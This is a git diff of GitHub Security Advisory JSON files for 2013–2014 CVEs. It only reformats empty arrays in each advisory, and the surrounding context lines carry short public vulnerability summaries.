a/advisories/unreviewed/2022/05/GHSA-67pc-gr23-6r49/GHSA-67pc-gr23-6r49.json b/advisories/unreviewed/2022/05/GHSA-67pc-gr23-6r49/GHSA-67pc-gr23-6r49.json index aa5e0d0499d..31663e2ef92 100644 --- a/advisories/unreviewed/2022/05/GHSA-67pc-gr23-6r49/GHSA-67pc-gr23-6r49.json +++ b/advisories/unreviewed/2022/05/GHSA-67pc-gr23-6r49/GHSA-67pc-gr23-6r49.json @@ -7,12 +7,8 @@ "CVE-2013-5092" ], "details": "Cross-site scripting (XSS) vulnerability in afa/php/Login.php in AlgoSec Firewall Analyzer 6.1-b86 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-67q2-r7xw-j63p/GHSA-67q2-r7xw-j63p.json b/advisories/unreviewed/2022/05/GHSA-67q2-r7xw-j63p/GHSA-67q2-r7xw-j63p.json index c4cd1e23e13..a1b3ec050d9 100644 --- a/advisories/unreviewed/2022/05/GHSA-67q2-r7xw-j63p/GHSA-67q2-r7xw-j63p.json +++ b/advisories/unreviewed/2022/05/GHSA-67q2-r7xw-j63p/GHSA-67q2-r7xw-j63p.json @@ -7,12 +7,8 @@ "CVE-2013-5525" ], "details": "SQL injection vulnerability in the web framework in Cisco Identity Services Engine (ISE) 1.2 and earlier allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors, aka Bug ID CSCug90502.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-68wj-ph9g-w59c/GHSA-68wj-ph9g-w59c.json b/advisories/unreviewed/2022/05/GHSA-68wj-ph9g-w59c/GHSA-68wj-ph9g-w59c.json index 95642cdc4ba..3e36fe4c15b 100644 --- a/advisories/unreviewed/2022/05/GHSA-68wj-ph9g-w59c/GHSA-68wj-ph9g-w59c.json +++ b/advisories/unreviewed/2022/05/GHSA-68wj-ph9g-w59c/GHSA-68wj-ph9g-w59c.json @@ -7,12 +7,8 @@ "CVE-2013-4140" ], "details": "Cross-site scripting (XSS) vulnerability in the TinyBox (Simple Splash) module before 7.x-2.2 for Drupal allows remote authenticated users with the \"administer tinybox\" permission to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-69r4-2m32-w72r/GHSA-69r4-2m32-w72r.json b/advisories/unreviewed/2022/05/GHSA-69r4-2m32-w72r/GHSA-69r4-2m32-w72r.json index 8d3f76fac39..d757b7a100a 100644 --- a/advisories/unreviewed/2022/05/GHSA-69r4-2m32-w72r/GHSA-69r4-2m32-w72r.json +++ b/advisories/unreviewed/2022/05/GHSA-69r4-2m32-w72r/GHSA-69r4-2m32-w72r.json @@ -7,12 +7,8 @@ "CVE-2013-5865" ], "details": "Unspecified vulnerability in Oracle Solaris 11.1 allows local users to affect availability via unknown vectors related to Utility/User administration.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-6f27-mhxc-jwxc/GHSA-6f27-mhxc-jwxc.json b/advisories/unreviewed/2022/05/GHSA-6f27-mhxc-jwxc/GHSA-6f27-mhxc-jwxc.json index 9fcd33b5a77..a45233b364c 100644 --- a/advisories/unreviewed/2022/05/GHSA-6f27-mhxc-jwxc/GHSA-6f27-mhxc-jwxc.json +++ b/advisories/unreviewed/2022/05/GHSA-6f27-mhxc-jwxc/GHSA-6f27-mhxc-jwxc.json @@ -7,12 +7,8 @@ "CVE-2013-3988" ], "details": "The Meeting Server in IBM Sametime 8.5.2 through 8.5.2.1 and 9.x through 9.0.0.1 allows remote attackers to conduct clickjacking attacks via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6fg5-c9pf-xj22/GHSA-6fg5-c9pf-xj22.json b/advisories/unreviewed/2022/05/GHSA-6fg5-c9pf-xj22/GHSA-6fg5-c9pf-xj22.json index 86b6ce6b245..cc72c028128 100644 --- a/advisories/unreviewed/2022/05/GHSA-6fg5-c9pf-xj22/GHSA-6fg5-c9pf-xj22.json +++ b/advisories/unreviewed/2022/05/GHSA-6fg5-c9pf-xj22/GHSA-6fg5-c9pf-xj22.json @@ -7,12 +7,8 @@ "CVE-2013-4014" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 before 7.1.1.12, and 7.5 before 7.5.0.5 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6fv5-xv88-5c73/GHSA-6fv5-xv88-5c73.json b/advisories/unreviewed/2022/05/GHSA-6fv5-xv88-5c73/GHSA-6fv5-xv88-5c73.json index 4eb2b4f5f12..8e6adc6bca0 100644 --- a/advisories/unreviewed/2022/05/GHSA-6fv5-xv88-5c73/GHSA-6fv5-xv88-5c73.json +++ b/advisories/unreviewed/2022/05/GHSA-6fv5-xv88-5c73/GHSA-6fv5-xv88-5c73.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6g9v-r2mx-qjwj/GHSA-6g9v-r2mx-qjwj.json b/advisories/unreviewed/2022/05/GHSA-6g9v-r2mx-qjwj/GHSA-6g9v-r2mx-qjwj.json index afe2f5cd368..016276811a7 100644 --- a/advisories/unreviewed/2022/05/GHSA-6g9v-r2mx-qjwj/GHSA-6g9v-r2mx-qjwj.json +++ b/advisories/unreviewed/2022/05/GHSA-6g9v-r2mx-qjwj/GHSA-6g9v-r2mx-qjwj.json @@ -7,12 +7,8 @@ "CVE-2013-5302" ], "details": "SQL injection vulnerability in the Faceted Search (ke_search) extension before 1.4.1 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6gfm-jphj-26p6/GHSA-6gfm-jphj-26p6.json b/advisories/unreviewed/2022/05/GHSA-6gfm-jphj-26p6/GHSA-6gfm-jphj-26p6.json index 43a25e3777e..2f407a70707 100644 --- a/advisories/unreviewed/2022/05/GHSA-6gfm-jphj-26p6/GHSA-6gfm-jphj-26p6.json +++ b/advisories/unreviewed/2022/05/GHSA-6gfm-jphj-26p6/GHSA-6gfm-jphj-26p6.json @@ -7,12 +7,8 @@ "CVE-2013-4066" ], "details": "IBM InfoSphere Information Server 8.0, 8.1, 8.5 through FP3, 8.7, and 9.1 allows remote attackers to conduct clickjacking attacks by creating an overlay interface on top of the Web Console interface.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6hc4-qmj9-f9gc/GHSA-6hc4-qmj9-f9gc.json b/advisories/unreviewed/2022/05/GHSA-6hc4-qmj9-f9gc/GHSA-6hc4-qmj9-f9gc.json index b6f237627f8..b5f56af2972 100644 --- a/advisories/unreviewed/2022/05/GHSA-6hc4-qmj9-f9gc/GHSA-6hc4-qmj9-f9gc.json +++ b/advisories/unreviewed/2022/05/GHSA-6hc4-qmj9-f9gc/GHSA-6hc4-qmj9-f9gc.json @@ -7,12 +7,8 @@ "CVE-2013-6299" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2013-6300, CVE-2013-6301, CVE-2013-6320, and CVE-2013-6333.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6hg5-jqvr-2wj8/GHSA-6hg5-jqvr-2wj8.json b/advisories/unreviewed/2022/05/GHSA-6hg5-jqvr-2wj8/GHSA-6hg5-jqvr-2wj8.json index da686bcdc6c..c821899752e 100644 --- a/advisories/unreviewed/2022/05/GHSA-6hg5-jqvr-2wj8/GHSA-6hg5-jqvr-2wj8.json +++ b/advisories/unreviewed/2022/05/GHSA-6hg5-jqvr-2wj8/GHSA-6hg5-jqvr-2wj8.json @@ -7,12 +7,8 @@ "CVE-2013-4000" ], "details": "Multiple cross-site request forgery (CSRF) vulnerabilities in IBM Cognos Command Center before 10.2 allow remote attackers to hijack the authentication of administrators for requests that (1) start or (2) stop services.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6mmc-w668-v37v/GHSA-6mmc-w668-v37v.json b/advisories/unreviewed/2022/05/GHSA-6mmc-w668-v37v/GHSA-6mmc-w668-v37v.json index 9c143f7d163..05d0d7c8700 100644 --- a/advisories/unreviewed/2022/05/GHSA-6mmc-w668-v37v/GHSA-6mmc-w668-v37v.json +++ b/advisories/unreviewed/2022/05/GHSA-6mmc-w668-v37v/GHSA-6mmc-w668-v37v.json @@ -7,12 +7,8 @@ "CVE-2013-2757" ], "details": "Citrix CloudPlatform (formerly Citrix CloudStack) 3.0.x before 3.0.6 Patch C does not properly restrict access to VNC ports on the management network, which allows remote attackers to have unspecified impact via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-6p8h-36qp-8h72/GHSA-6p8h-36qp-8h72.json b/advisories/unreviewed/2022/05/GHSA-6p8h-36qp-8h72/GHSA-6p8h-36qp-8h72.json index be5b8ad2d43..3706bb11796 100644 --- a/advisories/unreviewed/2022/05/GHSA-6p8h-36qp-8h72/GHSA-6p8h-36qp-8h72.json +++ b/advisories/unreviewed/2022/05/GHSA-6p8h-36qp-8h72/GHSA-6p8h-36qp-8h72.json @@ -7,12 +7,8 @@ "CVE-2013-5323" ], "details": "Cross-site scripting (XSS) vulnerability in the Static Info Tables (static_info_tables) extension before 2.3.1 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6p9p-w57h-p4cj/GHSA-6p9p-w57h-p4cj.json b/advisories/unreviewed/2022/05/GHSA-6p9p-w57h-p4cj/GHSA-6p9p-w57h-p4cj.json index bc7c5325616..03e6910e3cc 100644 --- a/advisories/unreviewed/2022/05/GHSA-6p9p-w57h-p4cj/GHSA-6p9p-w57h-p4cj.json +++ b/advisories/unreviewed/2022/05/GHSA-6p9p-w57h-p4cj/GHSA-6p9p-w57h-p4cj.json @@ -7,12 +7,8 @@ "CVE-2013-7192" ], "details": "Multiple SQL injection vulnerabilities in Dynamic Biz Website Builder (QuickWeb) allow remote attackers to execute arbitrary SQL commands via the (1) id parameter to apps/news-events/newdetail.asp, or the (2) UserID or (3) Password to login.asp.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6qpg-7h25-x24c/GHSA-6qpg-7h25-x24c.json b/advisories/unreviewed/2022/05/GHSA-6qpg-7h25-x24c/GHSA-6qpg-7h25-x24c.json index 4665d714ad0..4909933a8d7 100644 --- a/advisories/unreviewed/2022/05/GHSA-6qpg-7h25-x24c/GHSA-6qpg-7h25-x24c.json +++ b/advisories/unreviewed/2022/05/GHSA-6qpg-7h25-x24c/GHSA-6qpg-7h25-x24c.json @@ -7,12 +7,8 @@ "CVE-2013-5418" ], "details": "Cross-site scripting (XSS) vulnerability in the Administrative console in IBM WebSphere Application Server (WAS) 7.0 before 7.0.0.31, 8.0 before 8.0.0.8, and 8.5 before 8.5.5.1 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6r5m-vvmc-c92m/GHSA-6r5m-vvmc-c92m.json b/advisories/unreviewed/2022/05/GHSA-6r5m-vvmc-c92m/GHSA-6r5m-vvmc-c92m.json index 1bafb8b1154..784acf7381b 100644 --- a/advisories/unreviewed/2022/05/GHSA-6r5m-vvmc-c92m/GHSA-6r5m-vvmc-c92m.json +++ b/advisories/unreviewed/2022/05/GHSA-6r5m-vvmc-c92m/GHSA-6r5m-vvmc-c92m.json @@ -7,12 +7,8 @@ "CVE-2013-4007" ], "details": "Cross-site scripting (XSS) vulnerability in adv_sw.php in the Advanced Management Module (AMM) with firmware BBET before BBET64G and BPET before BPET64G for IBM BladeCenter systems allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6rr3-9m3v-fh4x/GHSA-6rr3-9m3v-fh4x.json b/advisories/unreviewed/2022/05/GHSA-6rr3-9m3v-fh4x/GHSA-6rr3-9m3v-fh4x.json index c2d1f858fc5..539c1aa8e00 100644 --- a/advisories/unreviewed/2022/05/GHSA-6rr3-9m3v-fh4x/GHSA-6rr3-9m3v-fh4x.json +++ b/advisories/unreviewed/2022/05/GHSA-6rr3-9m3v-fh4x/GHSA-6rr3-9m3v-fh4x.json @@ -7,12 +7,8 @@ "CVE-2013-5351" ], "details": "Heap-based buffer overflow in IrfanView before 4.37 allows remote attackers to execute arbitrary code via the LZW code stream in a GIF file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6v64-jx4v-8h87/GHSA-6v64-jx4v-8h87.json b/advisories/unreviewed/2022/05/GHSA-6v64-jx4v-8h87/GHSA-6v64-jx4v-8h87.json index 69af500d213..719c18b5534 100644 --- a/advisories/unreviewed/2022/05/GHSA-6v64-jx4v-8h87/GHSA-6v64-jx4v-8h87.json +++ b/advisories/unreviewed/2022/05/GHSA-6v64-jx4v-8h87/GHSA-6v64-jx4v-8h87.json @@ -7,12 +7,8 @@ "CVE-2013-3816" ], "details": "Unspecified vulnerability in the Oracle Policy Automation component in Oracle Industry Applications 10.2.0, 10.3.0, 10.3.1, 10.4.0, 10.4.1, and 10.4.2 allows remote authenticated users to affect confidentiality via unknown vectors related to Determinations Engine.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-6v8q-g237-xpwg/GHSA-6v8q-g237-xpwg.json b/advisories/unreviewed/2022/05/GHSA-6v8q-g237-xpwg/GHSA-6v8q-g237-xpwg.json index 19344b75115..b4f9e3a9a84 100644 --- a/advisories/unreviewed/2022/05/GHSA-6v8q-g237-xpwg/GHSA-6v8q-g237-xpwg.json +++ b/advisories/unreviewed/2022/05/GHSA-6v8q-g237-xpwg/GHSA-6v8q-g237-xpwg.json @@ -7,12 +7,8 @@ "CVE-2013-4005" ], "details": "Cross-site scripting (XSS) vulnerability in the Administrative console in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.31, 8.0 before 8.0.0.7, and 8.5 before 8.5.5.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified fields.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6w47-m37w-xrc8/GHSA-6w47-m37w-xrc8.json b/advisories/unreviewed/2022/05/GHSA-6w47-m37w-xrc8/GHSA-6w47-m37w-xrc8.json index 9066e637cd0..e61576c0d51 100644 --- a/advisories/unreviewed/2022/05/GHSA-6w47-m37w-xrc8/GHSA-6w47-m37w-xrc8.json +++ b/advisories/unreviewed/2022/05/GHSA-6w47-m37w-xrc8/GHSA-6w47-m37w-xrc8.json @@ -7,12 +7,8 @@ "CVE-2013-6237" ], "details": "The ISL Desktop plugin for Windows before 1.4.7 for ISL Light 3.5.4 and earlier allows remote authenticated users to obtain sensitive information by pasting the clipboard contents that have been copied by another user in the session.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6wfw-q7f5-wr2c/GHSA-6wfw-q7f5-wr2c.json b/advisories/unreviewed/2022/05/GHSA-6wfw-q7f5-wr2c/GHSA-6wfw-q7f5-wr2c.json index 838d4791d63..011323ba93a 100644 --- a/advisories/unreviewed/2022/05/GHSA-6wfw-q7f5-wr2c/GHSA-6wfw-q7f5-wr2c.json +++ b/advisories/unreviewed/2022/05/GHSA-6wfw-q7f5-wr2c/GHSA-6wfw-q7f5-wr2c.json @@ -7,12 +7,8 @@ "CVE-2013-7100" ], "details": "Buffer overflow in the unpacksms16 function in apps/app_sms.c in Asterisk Open Source 1.8.x before 1.8.24.1, 10.x before 10.12.4, and 11.x before 11.6.1; Asterisk with Digiumphones 10.x-digiumphones before 10.12.4-digiumphones; and Certified Asterisk 1.8.x before 1.8.15-cert4 and 11.x before 11.2-cert3 allows remote attackers to cause a denial of service (daemon crash) via a 16-bit SMS message with an odd number of bytes, which triggers an infinite loop.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6whm-f7w5-3m8c/GHSA-6whm-f7w5-3m8c.json b/advisories/unreviewed/2022/05/GHSA-6whm-f7w5-3m8c/GHSA-6whm-f7w5-3m8c.json index 65ebf27d132..600a4cadb1e 100644 --- a/advisories/unreviewed/2022/05/GHSA-6whm-f7w5-3m8c/GHSA-6whm-f7w5-3m8c.json +++ b/advisories/unreviewed/2022/05/GHSA-6whm-f7w5-3m8c/GHSA-6whm-f7w5-3m8c.json @@ -7,12 +7,8 @@ "CVE-2013-5427" ], "details": "Cross-site request forgery (CSRF) vulnerability in IBM InfoSphere Master Data Management - Collaborative Edition 10.x before 10.1 FP8 through 11.0 and InfoSphere Master Data Management Server for Product Information Management 9.0 and 9.1 allows remote attackers to hijack the authentication of arbitrary users.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-72vx-3m42-xvc7/GHSA-72vx-3m42-xvc7.json b/advisories/unreviewed/2022/05/GHSA-72vx-3m42-xvc7/GHSA-72vx-3m42-xvc7.json index a12adfeb2a2..bc6d9dc8cc0 100644 --- a/advisories/unreviewed/2022/05/GHSA-72vx-3m42-xvc7/GHSA-72vx-3m42-xvc7.json +++ b/advisories/unreviewed/2022/05/GHSA-72vx-3m42-xvc7/GHSA-72vx-3m42-xvc7.json @@ -7,12 +7,8 @@ "CVE-2013-5489" ], "details": "The gadget implementation in Cisco SocialMiner does not properly restrict the content of GET requests, which allows remote attackers to obtain sensitive information by reading (1) web-server access logs, (2) web-server Referer logs, or (3) the browser history, aka Bug ID CSCuh74125.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-744c-3hq9-9r9w/GHSA-744c-3hq9-9r9w.json b/advisories/unreviewed/2022/05/GHSA-744c-3hq9-9r9w/GHSA-744c-3hq9-9r9w.json index f11948d8917..09a102d2445 100644 --- a/advisories/unreviewed/2022/05/GHSA-744c-3hq9-9r9w/GHSA-744c-3hq9-9r9w.json +++ b/advisories/unreviewed/2022/05/GHSA-744c-3hq9-9r9w/GHSA-744c-3hq9-9r9w.json @@ -7,12 +7,8 @@ "CVE-2013-5455" ], "details": "IBM SmartCloud Provisioning 2.1 before FP3 IF0001 allows remote authenticated users to modify virtual-system deployment via deployer.virtualsystems CLI commands, as demonstrated by a deletion using a deployer.virtualsystems[#].delete command.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-74gp-p893-qhq9/GHSA-74gp-p893-qhq9.json b/advisories/unreviewed/2022/05/GHSA-74gp-p893-qhq9/GHSA-74gp-p893-qhq9.json index e6821d032a4..8bfc46b0f6b 100644 --- a/advisories/unreviewed/2022/05/GHSA-74gp-p893-qhq9/GHSA-74gp-p893-qhq9.json +++ b/advisories/unreviewed/2022/05/GHSA-74gp-p893-qhq9/GHSA-74gp-p893-qhq9.json @@ -7,12 +7,8 @@ "CVE-2013-5433" ], "details": "The Data Growth Solution for JD Edwards EnterpriseOne in IBM InfoSphere Optim 3.0 through 9.1 has hardcoded database credentials, which allows remote authenticated users to obtain sensitive information by reading an unspecified field in an XML document.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-75rf-hx73-vjfr/GHSA-75rf-hx73-vjfr.json b/advisories/unreviewed/2022/05/GHSA-75rf-hx73-vjfr/GHSA-75rf-hx73-vjfr.json index 2ab0db2f498..eca97f6341a 100644 --- a/advisories/unreviewed/2022/05/GHSA-75rf-hx73-vjfr/GHSA-75rf-hx73-vjfr.json +++ b/advisories/unreviewed/2022/05/GHSA-75rf-hx73-vjfr/GHSA-75rf-hx73-vjfr.json @@ -7,12 +7,8 @@ "CVE-2014-0666" ], "details": "Directory traversal vulnerability in the Send Screen Capture implementation in Cisco Jabber 9.2(.1) and earlier on Windows allows remote attackers to upload arbitrary types of files, and consequently execute arbitrary code, via modified packets, aka Bug ID CSCug48056.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-778h-9p26-f2p8/GHSA-778h-9p26-f2p8.json b/advisories/unreviewed/2022/05/GHSA-778h-9p26-f2p8/GHSA-778h-9p26-f2p8.json index 5ad827d22bf..2ec70ba58ba 100644 --- a/advisories/unreviewed/2022/05/GHSA-778h-9p26-f2p8/GHSA-778h-9p26-f2p8.json +++ b/advisories/unreviewed/2022/05/GHSA-778h-9p26-f2p8/GHSA-778h-9p26-f2p8.json @@ -7,12 +7,8 @@ "CVE-2013-4881" ], "details": "Cross-site request forgery (CSRF) vulnerability in core/admin/modules/users/create.php in BigTree CMS 4.0 RC2 and earlier allows remote attackers to hijack the authentication of administrators for requests that create an administrative user via an add user action to index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-78x2-r7cj-fv62/GHSA-78x2-r7cj-fv62.json b/advisories/unreviewed/2022/05/GHSA-78x2-r7cj-fv62/GHSA-78x2-r7cj-fv62.json index a2bb0c91555..cc5138e864a 100644 --- a/advisories/unreviewed/2022/05/GHSA-78x2-r7cj-fv62/GHSA-78x2-r7cj-fv62.json +++ b/advisories/unreviewed/2022/05/GHSA-78x2-r7cj-fv62/GHSA-78x2-r7cj-fv62.json @@ -7,12 +7,8 @@ "CVE-2013-3663" ], "details": "Heap-based buffer overflow in paintlib, as used in Trimble SketchUp (formerly Google SketchUp) before 8 Maintenance 3, allows remote attackers to execute arbitrary code via a crafted RLE8 compressed BMP.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-78xq-vj33-mfjv/GHSA-78xq-vj33-mfjv.json b/advisories/unreviewed/2022/05/GHSA-78xq-vj33-mfjv/GHSA-78xq-vj33-mfjv.json index aa219d6d27a..40c3868aabb 100644 --- a/advisories/unreviewed/2022/05/GHSA-78xq-vj33-mfjv/GHSA-78xq-vj33-mfjv.json +++ b/advisories/unreviewed/2022/05/GHSA-78xq-vj33-mfjv/GHSA-78xq-vj33-mfjv.json @@ -7,12 +7,8 @@ "CVE-2014-0677" ], "details": "The Label Distribution Protocol (LDP) functionality in Cisco NX-OS allows remote attackers to cause a denial of service (temporary LDP session outage) via LDP discovery traffic containing malformed Hello messages, aka Bug ID CSCul88851.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-794g-g5w7-2c69/GHSA-794g-g5w7-2c69.json b/advisories/unreviewed/2022/05/GHSA-794g-g5w7-2c69/GHSA-794g-g5w7-2c69.json index 3084d17eb8d..9e388a4e85a 100644 --- a/advisories/unreviewed/2022/05/GHSA-794g-g5w7-2c69/GHSA-794g-g5w7-2c69.json +++ b/advisories/unreviewed/2022/05/GHSA-794g-g5w7-2c69/GHSA-794g-g5w7-2c69.json @@ -7,12 +7,8 @@ "CVE-2013-7226" ], "details": "Integer overflow in the gdImageCrop function in ext/gd/gd.c in PHP 5.5.x before 5.5.9 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via an imagecrop function call with a large x dimension value, leading to a heap-based buffer overflow.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -64,9 +60,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-7982-hxvv-5vq2/GHSA-7982-hxvv-5vq2.json b/advisories/unreviewed/2022/05/GHSA-7982-hxvv-5vq2/GHSA-7982-hxvv-5vq2.json index 838937f80b1..753576f090f 100644 --- a/advisories/unreviewed/2022/05/GHSA-7982-hxvv-5vq2/GHSA-7982-hxvv-5vq2.json +++ b/advisories/unreviewed/2022/05/GHSA-7982-hxvv-5vq2/GHSA-7982-hxvv-5vq2.json @@ -7,12 +7,8 @@ "CVE-2013-7127" ], "details": "Apple Safari 6.0.5 on Mac OS X 10.7.5 and 10.8.5 stores cleartext credentials in LastSession.plist, which allows local users to obtain sensitive information by reading this file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-79c2-28c3-2cp6/GHSA-79c2-28c3-2cp6.json b/advisories/unreviewed/2022/05/GHSA-79c2-28c3-2cp6/GHSA-79c2-28c3-2cp6.json index 0c46e0948a4..137be15b7cf 100644 --- a/advisories/unreviewed/2022/05/GHSA-79c2-28c3-2cp6/GHSA-79c2-28c3-2cp6.json +++ b/advisories/unreviewed/2022/05/GHSA-79c2-28c3-2cp6/GHSA-79c2-28c3-2cp6.json @@ -7,12 +7,8 @@ "CVE-2013-4784" ], "details": "The HP Integrated Lights-Out (iLO) BMC implementation allows remote attackers to bypass authentication and execute arbitrary IPMI commands by using cipher suite 0 (aka cipher zero) and an arbitrary password.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-7fpx-3fx4-5j76/GHSA-7fpx-3fx4-5j76.json b/advisories/unreviewed/2022/05/GHSA-7fpx-3fx4-5j76/GHSA-7fpx-3fx4-5j76.json index 702ed6a96ce..e235e078562 100644 --- a/advisories/unreviewed/2022/05/GHSA-7fpx-3fx4-5j76/GHSA-7fpx-3fx4-5j76.json +++ b/advisories/unreviewed/2022/05/GHSA-7fpx-3fx4-5j76/GHSA-7fpx-3fx4-5j76.json @@ -7,12 +7,8 @@ "CVE-2014-0610" ], "details": "The client in Novell GroupWise before 8.0.3 HP4, 2012 before SP3, and 2014 before SP1 on Windows allows remote attackers to execute arbitrary code or cause a denial of service (invalid pointer dereference) via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff 